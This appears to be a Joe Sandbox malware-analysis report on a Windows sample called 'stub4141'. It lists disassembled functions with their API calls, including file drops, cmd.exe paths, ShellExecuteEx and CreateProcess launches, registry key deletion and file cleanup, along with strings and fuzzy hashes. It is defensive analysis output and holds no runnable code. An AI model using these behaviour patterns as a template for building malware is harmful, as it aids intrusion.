SOFTWARE\%s, xrefs: 0041191B
{B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}, xrefs: 004118CA
{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}, xrefs: 00411832

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$lstrcpy$Delete__snwprintf_memset$CloseHandle$AllocFile$FolderKnownOpenPathTaskwnsprintf$EventProcesslstrlen$Attributes$AddressCurrentDirectoryDuplicateProcValue$CreateInitializeLibraryLoadMutexObjectOperationRemoveSingleTerminateUninitializeWaitWindows
String ID: %s%s$D$SOFTWARE\%s$Software\%s$Software\%s$Software\%s${96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}${B8A4F0F8-D8E3-4E9F-9B43-AF54B9B9F0D5}${EE228DDC-782F-45A5-A48F-B7B5CBF44397}${F0408EAF-6026-476A-AF50-BFCA4663F089}${FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 113497637-3334353676
Opcode ID: cf6aa2f08cbf0a07de9bbbdcf82de38315216e6e13e1610c49f86120f8e354ea
Instruction ID: a318cadd2b84d9fc6acdf6c3c5f42320d4395ca5f6151007bd5e56f1ee6d55c1
Opcode Fuzzy Hash: cf6aa2f08cbf0a07de9bbbdcf82de38315216e6e13e1610c49f86120f8e354ea
Instruction Fuzzy Hash: C4225E71D00228ABDB24DF50DD89FDDB778BB48704F0045DAE609A6281DBB99BC8CF95

Function 020F18C7 Relevance: 91.5, APIs: 47, Strings: 5, Instructions: 478stringregistrylibraryCOMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 020F1AAF
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 020F1ACB
wnsprintfW.SHLWAPI ref: 020F1AFB
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 020F1B17
wnsprintfW.SHLWAPI ref: 020F1B47

Part of subcall function 020F6E17: lstrlenW.KERNEL32(?), ref: 020F6E40

RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 020F1B63
wnsprintfW.SHLWAPI ref: 020F1B93
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 020F1BAF

Part of subcall function 020ECDE7: RegOpenKeyW.ADVAPI32(80000001,004335E0,020F1BBA), ref: 020ECE02
Part of subcall function 020ECDE7: RegDeleteValueW.ADVAPI32(020F1BBA,00485DA8,?,?,020F1BBA), ref: 020ECE15
Part of subcall function 020ECDE7: RegCloseKey.ADVAPI32(020F1BBA,?,?,020F1BBA), ref: 020ECE1F
Part of subcall function 020ECDE7: RegOpenKeyW.ADVAPI32(80000002,00433640,020F1BBA), ref: 020ECE3C
Part of subcall function 020ECDE7: RegDeleteValueW.ADVAPI32(020F1BBA,00485DF6,?,?,020F1BBA), ref: 020ECE4F
Part of subcall function 020ECDE7: RegCloseKey.ADVAPI32(020F1BBA,?,?,020F1BBA), ref: 020ECE59

Part of subcall function 020ED8C7: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,020F1BBF), ref: 020ED8E1
Part of subcall function 020ED8C7: SHGetKnownFolderPath.SHELL32(00437A48,00000000,00000000,?), ref: 020ED8FD
Part of subcall function 020ED8C7: __snwprintf.LIBCMT ref: 020ED91E
Part of subcall function 020ED8C7: DeleteFileW.KERNEL32(00000000), ref: 020ED92A
Part of subcall function 020ED8C7: CoTaskMemFree.COMBASE(?), ref: 020ED934
Part of subcall function 020ED8C7: LocalFree.KERNEL32(00000000), ref: 020ED93E
Part of subcall function 020ED8C7: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 020ED951
Part of subcall function 020ED8C7: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED966
Part of subcall function 020ED8C7: __snwprintf.LIBCMT ref: 020ED990
Part of subcall function 020ED8C7: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED99F
Part of subcall function 020ED8C7: __snwprintf.LIBCMT ref: 020ED9CA
Part of subcall function 020ED8C7: DeleteFileW.KERNEL32(00000000), ref: 020ED9D6
Part of subcall function 020ED8C7: RemoveDirectoryW.KERNEL32(00000000), ref: 020ED9E0
Part of subcall function 020ED8C7: LocalFree.KERNEL32(00000000), ref: 020ED9EA
Part of subcall function 020ED8C7: LocalFree.KERNEL32(00000000), ref: 020ED9F4
Part of subcall function 020ED8C7: CoTaskMemFree.COMBASE(?), ref: 020ED9FE

Part of subcall function 020ED687: OpenEventW.KERNEL32(00100002,00000000,004885E0), ref: 020ED6A6
Part of subcall function 020ED687: SetEvent.KERNEL32(00000000), ref: 020ED6C2
Part of subcall function 020ED687: CloseHandle.KERNEL32(00000000), ref: 020ED6CF
Part of subcall function 020ED687: OpenMutexW.KERNEL32(00100000,00000000,00488592), ref: 020ED6EB
Part of subcall function 020ED687: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 020ED709
Part of subcall function 020ED687: CloseHandle.KERNEL32(00000000), ref: 020ED716
Part of subcall function 020ED687: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 020ED72C
Part of subcall function 020ED687: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020ED741
Part of subcall function 020ED687: __snwprintf.LIBCMT ref: 020ED786
Part of subcall function 020ED687: lstrlenW.KERNEL32(00000000), ref: 020ED795
Part of subcall function 020ED687: _memset.LIBCMT ref: 020ED7D1
Part of subcall function 020ED687: GetFileAttributesW.KERNEL32(00000000), ref: 020ED80C
Part of subcall function 020ED687: LocalFree.KERNEL32(00000000), ref: 020ED858
Part of subcall function 020ED687: CoTaskMemFree.COMBASE(?), ref: 020ED865

Part of subcall function 020ED567: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,020F1BC9,?,?,?,?,?,?,?,?,?,?,?,020F1BC9), ref: 020ED57A
Part of subcall function 020ED567: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,020F1BC9), ref: 020ED58F
Part of subcall function 020ED567: __snwprintf.LIBCMT ref: 020ED5C8
Part of subcall function 020ED567: lstrlenW.KERNEL32(00000000), ref: 020ED5D4
Part of subcall function 020ED567: _memset.LIBCMT ref: 020ED5FE
Part of subcall function 020ED567: GetFileAttributesW.KERNEL32(00000000), ref: 020ED627
Part of subcall function 020ED567: LocalFree.KERNEL32(00000000), ref: 020ED664
Part of subcall function 020ED567: CoTaskMemFree.COMBASE(020F1BC9), ref: 020ED66E

Part of subcall function 020ED217: CoInitializeEx.COMBASE(00000000,00000000), ref: 020ED247
Part of subcall function 020ED217: CoUninitialize.COMBASE ref: 020ED544

Part of subcall function 020EA777: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 020EA78A
Part of subcall function 020EA777: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 020EA79B
Part of subcall function 020EA777: wnsprintfW.SHLWAPI ref: 020EA7C6
Part of subcall function 020EA777: lstrlenW.KERNEL32(?), ref: 020EA7D7
Part of subcall function 020EA777: CoTaskMemFree.COMBASE(?), ref: 020EA7E6

_memset.LIBCMT ref: 020F1C41
GetFileAttributesW.KERNEL32(?), ref: 020F1C7C
SHFileOperationW.SHELL32(?), ref: 020F1C99
LocalFree.KERNEL32(?), ref: 020F1CC8
_memset.LIBCMT ref: 020F1D20
__snwprintf.LIBCMT ref: 020F1D45
_memset.LIBCMT ref: 020F1D64
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 020F1D78
_memset.LIBCMT ref: 020F1D9D
__snwprintf.LIBCMT ref: 020F1DC8
__snwprintf.LIBCMT ref: 020F1DEC
_memset.LIBCMT ref: 020F1E09
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000044,?), ref: 020F1E4D
GetCurrentProcess.KERNEL32 ref: 020F1E5C
DuplicateHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000002), ref: 020F1E94
GetCurrentProcess.KERNEL32 ref: 020F1EA3
DuplicateHandle.KERNEL32(?,0048A2BC,?,00000000,00000000,00000001,00000002), ref: 020F1EDB
LoadLibraryW.KERNEL32(?), ref: 020F1EF1
_memset.LIBCMT ref: 020F1F15
GetProcAddress.KERNEL32(?,?), ref: 020F1F2B
GetProcAddress.KERNEL32(?,?), ref: 020F1F45
lstrcpyW.KERNEL32(?,?), ref: 020F1F5F
lstrcpy.KERNEL32(?,?), ref: 020F1F73
lstrcpy.KERNEL32(?,?), ref: 020F1F87
lstrcpy.KERNEL32(?,?), ref: 020F1F9B
lstrcpy.KERNEL32(?,?), ref: 020F1FAF
lstrcpy.KERNEL32(?,?), ref: 020F1FC3
lstrcpy.KERNEL32(?,?), ref: 020F1FD4
lstrcpyW.KERNEL32(?,?), ref: 020F1FE8
lstrcpyW.KERNEL32(?,?), ref: 020F1FFC
LocalFree.KERNEL32(?), ref: 020F2090
CloseHandle.KERNEL32(?), ref: 020F20B1
CloseHandle.KERNEL32(?), ref: 020F20BE
TerminateProcess.KERNEL32(?,00000000), ref: 020F20D6
LocalFree.KERNEL32(?), ref: 020F20E3
OpenEventW.KERNEL32(00100002,00000000,00485E44), ref: 020F20F5
SetEvent.KERNEL32(00000000), ref: 020F2111
CloseHandle.KERNEL32(00000000), ref: 020F211E

Strings

>C, xrefs: 020F19A8
t>C, xrefs: 020F1976
D, xrefs: 020F1E11
\>C, xrefs: 020F196C
=C, xrefs: 020F18DE

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrcpy$Delete__snwprintf_memset$CloseHandle$AllocFile$FolderKnownOpenPathTaskwnsprintf$EventProcesslstrlen$Attributes$AddressCurrentDirectoryDuplicateProcValue$CreateInitializeLibraryLoadMutexObjectOperationRemoveSingleTerminateUninitializeWaitWindows
String ID: D$\>C$t>C$=C$>C
API String ID: 113497637-344398405
Opcode ID: 8b8cfe3c5522a242585fc59a4723a65ff5206f7c3b3f97100a3d7292bf880c73
Instruction ID: 9ecc8e70d5587359c7501792958818901913fd7733d68edfd83f2979da66bb13
Opcode Fuzzy Hash: 8b8cfe3c5522a242585fc59a4723a65ff5206f7c3b3f97100a3d7292bf880c73
Instruction Fuzzy Hash: 7D222A71D40218AFDB24DF50CC89BDDB7B9BB48700F0085DAE609A6681DBB59B88CF95

Function 0040D7B0 Relevance: 91.5, APIs: 43, Strings: 9, Instructions: 458filestringsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040D8E6
LocalAlloc.KERNEL32(00000040,?), ref: 0040D952
_memmove.LIBCMT ref: 0040D980
_memset.LIBCMT ref: 0040D9EB
lstrcpyW.KERNEL32(?,0040122E,?,?,?,?,?,?,?,?,?,?,?,?,?,0040122E), ref: 0040D9FE
lstrcpyW.KERNEL32(?,{038CDC94-7372-4025-A085-7D34087AA1EA},?,?,?,?,?,?,?,?,?,?,?,?,?,0040122E), ref: 0040DA10

Part of subcall function 00416BB0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00412696,004340B0), ref: 00416BD9

_memmove.LIBCMT ref: 0040DA29
_memmove.LIBCMT ref: 0040DB0A
SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 0040DB3D
SHGetKnownFolderPath.SHELL32(00437A88,00000000,00000000,?), ref: 0040DB65
_memset.LIBCMT ref: 0040DB8A
__snwprintf.LIBCMT ref: 0040DBAA
_memset.LIBCMT ref: 0040DBEB
__snwprintf.LIBCMT ref: 0040DC0A
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0040DC32
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 0040DC69
CloseHandle.KERNEL32(000000FF), ref: 0040DC91
_memset.LIBCMT ref: 0040DCB8
__snwprintf.LIBCMT ref: 0040DCDA
_memset.LIBCMT ref: 0040DCF9
__snwprintf.LIBCMT ref: 0040DD1B
CopyFileW.KERNEL32(?,?,00000001), ref: 0040DD33
_memset.LIBCMT ref: 0040DD59
__snwprintf.LIBCMT ref: 0040DD78
_memset.LIBCMT ref: 0040DD97
__snwprintf.LIBCMT ref: 0040DDBE

Part of subcall function 004228EA: __flsbuf.LIBCMT ref: 00422994
Part of subcall function 004228EA: __flsbuf.LIBCMT ref: 004229AC

CopyFileW.KERNEL32(?,?,00000001), ref: 0040DDD6
CreateEventW.KERNEL32(00000000,00000001,00000000,{88FC0E5E-2A45-42EF-91E1-BBE85C908D25}), ref: 0040DDFA
_memset.LIBCMT ref: 0040DE1E
ShellExecuteExW.SHELL32(0000003C), ref: 0040DE6D
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 0040DE95
WaitForSingleObject.KERNEL32(?,00001388), ref: 0040DEB6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0040DEE3
CloseHandle.KERNEL32(00000000), ref: 0040DEF0
CloseHandle.KERNEL32(00000000), ref: 0040DF10
CloseHandle.KERNEL32(?), ref: 0040DF1D
CloseHandle.KERNEL32(000000FF), ref: 0040DF33
DeleteFileW.KERNEL32(?), ref: 0040DF40
LocalFree.KERNEL32(?), ref: 0040DF52
CoTaskMemFree.COMBASE(?), ref: 0040DF5F
CoTaskMemFree.COMBASE(00000000), ref: 0040DF6C
LocalFree.KERNEL32(?), ref: 0040DF79
LocalFree.KERNEL32(00000000), ref: 0040DF86

Strings

%s\cmd.exe, xrefs: 0040DB99
open, xrefs: 0040DE30
%s\%S.DLL, xrefs: 0040DDAD
<, xrefs: 0040DE26
{88FC0E5E-2A45-42EF-91E1-BBE85C908D25}, xrefs: 0040DDEF
DLLCFG, xrefs: 0040D994
@, xrefs: 0040DE52
d7C, xrefs: 0040D88E, 0040D895
{038CDC94-7372-4025-A085-7D34087AA1EA}, xrefs: 0040DA04

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: _memset$__snwprintf$CloseFileFreeHandle$Local$_memmove$CopyCreateFolderKnownObjectPathSingleTaskWait__flsbuflstrcpy$AllocDeleteEventExecuteProcessShellSleepTerminateWritelstrlen
String ID: %s\%S.DLL$%s\cmd.exe$<$@$DLLCFG$d7C$open${038CDC94-7372-4025-A085-7D34087AA1EA}${88FC0E5E-2A45-42EF-91E1-BBE85C908D25}
API String ID: 4213390074-3751218420
Opcode ID: 19c6e9b099b8d39d0c7194e47d22c3473ac175b8db9350108137b23371dd32a2
Instruction ID: b194c17a4456f5ed71c1a330bff7024552729882fcafddc50d57abc2fbbe0797
Opcode Fuzzy Hash: 19c6e9b099b8d39d0c7194e47d22c3473ac175b8db9350108137b23371dd32a2
Instruction Fuzzy Hash: BF126EB1D00228AFDB24DF54DC85BEEB7B4AF48305F4085D9E60DA6281D7785E84CF99

Function 0040E0E0 Relevance: 91.5, APIs: 43, Strings: 9, Instructions: 454filestringsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0040E216
LocalAlloc.KERNEL32(00000040,?), ref: 0040E271
_memmove.LIBCMT ref: 0040E29F
_memset.LIBCMT ref: 0040E30A
lstrcpyW.KERNEL32(?,0040124C,?,?,?,?,?,?,?,?,?,?,0040124C,?), ref: 0040E31D
lstrcpyW.KERNEL32(?,{038CDC94-7372-4025-A085-7D34087AA1EA},?,?,?,?,?,?,?,?,?,?,0040124C,?), ref: 0040E32F
_memmove.LIBCMT ref: 0040E348

Part of subcall function 00416BB0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00412696,004340B0), ref: 00416BD9

_memmove.LIBCMT ref: 0040E429
SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 0040E45C
SHGetKnownFolderPath.SHELL32(00437A88,00000000,00000000,?), ref: 0040E484
_memset.LIBCMT ref: 0040E4A9
__snwprintf.LIBCMT ref: 0040E4C9
_memset.LIBCMT ref: 0040E50A
__snwprintf.LIBCMT ref: 0040E529
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0040E551
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 0040E588
CloseHandle.KERNEL32(000000FF), ref: 0040E5B0
_memset.LIBCMT ref: 0040E5D7
__snwprintf.LIBCMT ref: 0040E5F9
_memset.LIBCMT ref: 0040E618
__snwprintf.LIBCMT ref: 0040E63A
CopyFileW.KERNEL32(?,?,00000001), ref: 0040E652
_memset.LIBCMT ref: 0040E678
__snwprintf.LIBCMT ref: 0040E697
_memset.LIBCMT ref: 0040E6B6
__snwprintf.LIBCMT ref: 0040E6DD

Part of subcall function 004228EA: __flsbuf.LIBCMT ref: 00422994
Part of subcall function 004228EA: __flsbuf.LIBCMT ref: 004229AC

CopyFileW.KERNEL32(?,?,00000001), ref: 0040E6F5
CreateEventW.KERNEL32(00000000,00000001,00000000,{88FC0E5E-2A45-42EF-91E1-BBE85C908D25}), ref: 0040E719
_memset.LIBCMT ref: 0040E73D
ShellExecuteExW.SHELL32(0000003C), ref: 0040E78C
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 0040E7B4
WaitForSingleObject.KERNEL32(?,00001388), ref: 0040E7D5
TerminateProcess.KERNEL32(00000000,00000000), ref: 0040E802
CloseHandle.KERNEL32(00000000), ref: 0040E80F
CloseHandle.KERNEL32(00000000), ref: 0040E82F
CloseHandle.KERNEL32(?), ref: 0040E83C
CloseHandle.KERNEL32(000000FF), ref: 0040E852
DeleteFileW.KERNEL32(?), ref: 0040E85F
LocalFree.KERNEL32(?), ref: 0040E871
CoTaskMemFree.COMBASE(?), ref: 0040E87E
CoTaskMemFree.COMBASE(00000000), ref: 0040E88B
LocalFree.KERNEL32(?), ref: 0040E898
LocalFree.KERNEL32(00000000), ref: 0040E8A5

Strings

open, xrefs: 0040E74F
<, xrefs: 0040E745
{88FC0E5E-2A45-42EF-91E1-BBE85C908D25}, xrefs: 0040E70E
%s\%S.DLL, xrefs: 0040E6CC
DLLCFG, xrefs: 0040E2B3
%s\cmd.exe, xrefs: 0040E4B8
{038CDC94-7372-4025-A085-7D34087AA1EA}, xrefs: 0040E323
@, xrefs: 0040E771
G.w, xrefs: 0040E23E

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: _memset$__snwprintf$CloseFileFreeHandle$Local$_memmove$CopyCreateFolderKnownObjectPathSingleTaskWait__flsbuflstrcpy$AllocDeleteEventExecuteProcessShellSleepTerminateWritelstrlen
String ID: %s\%S.DLL$%s\cmd.exe$<$@$DLLCFG$G.w$open${038CDC94-7372-4025-A085-7D34087AA1EA}${88FC0E5E-2A45-42EF-91E1-BBE85C908D25}
API String ID: 4213390074-4128183727
Opcode ID: 305061bc3b89168fd19750e40ef1df4bd25820958a450e8422df54fd37346503
Instruction ID: caac536255f5be4b414c46ea58f037caaa26c21d6a4163911cfe84b15f73ab3a
Opcode Fuzzy Hash: 305061bc3b89168fd19750e40ef1df4bd25820958a450e8422df54fd37346503
Instruction Fuzzy Hash: 87128E71D00228AFDB24DB65DC85BEEB7B4AF48305F0089D9E60CA7281DB785E94CF95

Function 020EDA17 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 458filestringsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 020EDB4D
LocalAlloc.KERNEL32(00000040,?), ref: 020EDBB9
_memset.LIBCMT ref: 020EDC52
lstrcpyW.KERNEL32(?,?), ref: 020EDC65
lstrcpyW.KERNEL32(?,00488064), ref: 020EDC77

Part of subcall function 020F6E17: lstrlenW.KERNEL32(?), ref: 020F6E40

SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 020EDDA4
SHGetKnownFolderPath.SHELL32(00437A88,00000000,00000000,?), ref: 020EDDCC
_memset.LIBCMT ref: 020EDDF1
__snwprintf.LIBCMT ref: 020EDE11
_memset.LIBCMT ref: 020EDE52
__snwprintf.LIBCMT ref: 020EDE71
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 020EDE99
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 020EDED0
CloseHandle.KERNEL32(000000FF), ref: 020EDEF8
_memset.LIBCMT ref: 020EDF1F
__snwprintf.LIBCMT ref: 020EDF41
_memset.LIBCMT ref: 020EDF60
__snwprintf.LIBCMT ref: 020EDF82
CopyFileW.KERNEL32(?,?,00000001), ref: 020EDF9A
_memset.LIBCMT ref: 020EDFC0
__snwprintf.LIBCMT ref: 020EDFDF
_memset.LIBCMT ref: 020EDFFE
__snwprintf.LIBCMT ref: 020EE025

Part of subcall function 02102B51: __flsbuf.LIBCMT ref: 02102BFB
Part of subcall function 02102B51: __flsbuf.LIBCMT ref: 02102C13

CopyFileW.KERNEL32(?,?,00000001), ref: 020EE03D
CreateEventW.KERNEL32(00000000,00000001,00000000,0048819C), ref: 020EE061
_memset.LIBCMT ref: 020EE085
ShellExecuteExW.SHELL32(0000003C), ref: 020EE0D4
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 020EE0FC
WaitForSingleObject.KERNEL32(?,00001388), ref: 020EE11D
TerminateProcess.KERNEL32(00000000,00000000), ref: 020EE14A
CloseHandle.KERNEL32(00000000), ref: 020EE157
CloseHandle.KERNEL32(00000000), ref: 020EE177
CloseHandle.KERNEL32(?), ref: 020EE184
CloseHandle.KERNEL32(000000FF), ref: 020EE19A
DeleteFileW.KERNEL32(?), ref: 020EE1A7
LocalFree.KERNEL32(?), ref: 020EE1B9
CoTaskMemFree.COMBASE(?), ref: 020EE1C6
CoTaskMemFree.COMBASE(00000000), ref: 020EE1D3
LocalFree.KERNEL32(?), ref: 020EE1E0
LocalFree.KERNEL32(00000000), ref: 020EE1ED

Strings

d7C, xrefs: 020EDAF5, 020EDAFC
<, xrefs: 020EE08D
@, xrefs: 020EE0B9
47C, xrefs: 020EDA2E

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: _memset$__snwprintf$CloseFileFreeHandle$Local$CopyCreateFolderKnownObjectPathSingleTaskWait__flsbuflstrcpy$AllocDeleteEventExecuteProcessShellSleepTerminateWritelstrlen
String ID: 47C$<$@$d7C
API String ID: 1925695823-1466529945
Opcode ID: 34f6eac4b687f277fefe3754385b3fa49f4e8ecde4aa8638638ca2f2f51f39fc
Instruction ID: c0f89538e2dce37affd203dd66d1f69f040adf02b2dce735e35230c40a42c14c
Opcode Fuzzy Hash: 34f6eac4b687f277fefe3754385b3fa49f4e8ecde4aa8638638ca2f2f51f39fc
Instruction Fuzzy Hash: 57125AB1D00328AFDB64DB64DC89BEEB7B4EB48301F0085D9E60DA6280DB755AC4DF95

Function 020EE347 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 454filestringsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 020EE47D
LocalAlloc.KERNEL32(00000040,?), ref: 020EE4D8
_memset.LIBCMT ref: 020EE571
lstrcpyW.KERNEL32(?,020E68A8,?,?,?,?,?,?,?,?,?,?,020E68A8,00000000), ref: 020EE584
lstrcpyW.KERNEL32(?,00488064,?,?,?,?,?,?,?,?,?,?,020E68A8,00000000), ref: 020EE596

Part of subcall function 020F6E17: lstrlenW.KERNEL32(?), ref: 020F6E40

SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 020EE6C3
SHGetKnownFolderPath.SHELL32(00437A88,00000000,00000000,?), ref: 020EE6EB
_memset.LIBCMT ref: 020EE710
__snwprintf.LIBCMT ref: 020EE730
_memset.LIBCMT ref: 020EE771
__snwprintf.LIBCMT ref: 020EE790
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 020EE7B8
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 020EE7EF
CloseHandle.KERNEL32(000000FF), ref: 020EE817
_memset.LIBCMT ref: 020EE83E
__snwprintf.LIBCMT ref: 020EE860
_memset.LIBCMT ref: 020EE87F
__snwprintf.LIBCMT ref: 020EE8A1
CopyFileW.KERNEL32(?,?,00000001), ref: 020EE8B9
_memset.LIBCMT ref: 020EE8DF
__snwprintf.LIBCMT ref: 020EE8FE
_memset.LIBCMT ref: 020EE91D
__snwprintf.LIBCMT ref: 020EE944

Part of subcall function 02102B51: __flsbuf.LIBCMT ref: 02102BFB
Part of subcall function 02102B51: __flsbuf.LIBCMT ref: 02102C13

CopyFileW.KERNEL32(?,?,00000001), ref: 020EE95C
CreateEventW.KERNEL32(00000000,00000001,00000000,0048819C), ref: 020EE980
_memset.LIBCMT ref: 020EE9A4
ShellExecuteExW.SHELL32(0000003C), ref: 020EE9F3
WaitForSingleObject.KERNEL32(00000000,00002710), ref: 020EEA1B
WaitForSingleObject.KERNEL32(?,00001388), ref: 020EEA3C
TerminateProcess.KERNEL32(00000000,00000000), ref: 020EEA69
CloseHandle.KERNEL32(00000000), ref: 020EEA76
CloseHandle.KERNEL32(00000000), ref: 020EEA96
CloseHandle.KERNEL32(?), ref: 020EEAA3
CloseHandle.KERNEL32(000000FF), ref: 020EEAB9
DeleteFileW.KERNEL32(?), ref: 020EEAC6
LocalFree.KERNEL32(?), ref: 020EEAD8
CoTaskMemFree.COMBASE(?), ref: 020EEAE5
CoTaskMemFree.COMBASE(00000000), ref: 020EEAF2
LocalFree.KERNEL32(?), ref: 020EEAFF
LocalFree.KERNEL32(00000000), ref: 020EEB0C

Strings

\8C, xrefs: 020EE9B6
@, xrefs: 020EE9D8
7C, xrefs: 020EE35E
<, xrefs: 020EE9AC

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: _memset$__snwprintf$CloseFileFreeHandle$Local$CopyCreateFolderKnownObjectPathSingleTaskWait__flsbuflstrcpy$AllocDeleteEventExecuteProcessShellSleepTerminateWritelstrlen
String ID: <$@$\8C$7C
API String ID: 1925695823-1865369957
Opcode ID: fa0d9a7d2846a2fbc5e4e5e5754b8968855ad30ea481aa8d0453f5362e2c8fd4
Instruction ID: cf8259cf7d4011beff456fd9f3717f791a73f34e8564b0d4f9331a39cfb25966
Opcode Fuzzy Hash: fa0d9a7d2846a2fbc5e4e5e5754b8968855ad30ea481aa8d0453f5362e2c8fd4
Instruction Fuzzy Hash: 0F125BB1D003289FEB64DB64DC89BEEB7B4AF48301F0045D9E60DA6280DB756AC4DF95

Function 0040C7D0 Relevance: 64.9, APIs: 29, Strings: 8, Instructions: 190memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00415CBB), ref: 0040C7DD
SHGetKnownFolderPath.SHELL32(00437A48,00000000,00000000,?), ref: 0040C7FD
__snwprintf.LIBCMT ref: 0040C822

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

LocalAlloc.KERNEL32(00000040,00000BB8), ref: 0040C84F
__snprintf.LIBCMT ref: 0040C87E
SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 0040C896
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040C8AB
__snwprintf.LIBCMT ref: 0040C8D5
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040C8E3
GetLastError.KERNEL32 ref: 0040C8F2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040C90A
__snwprintf.LIBCMT ref: 0040C939
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0040C95B
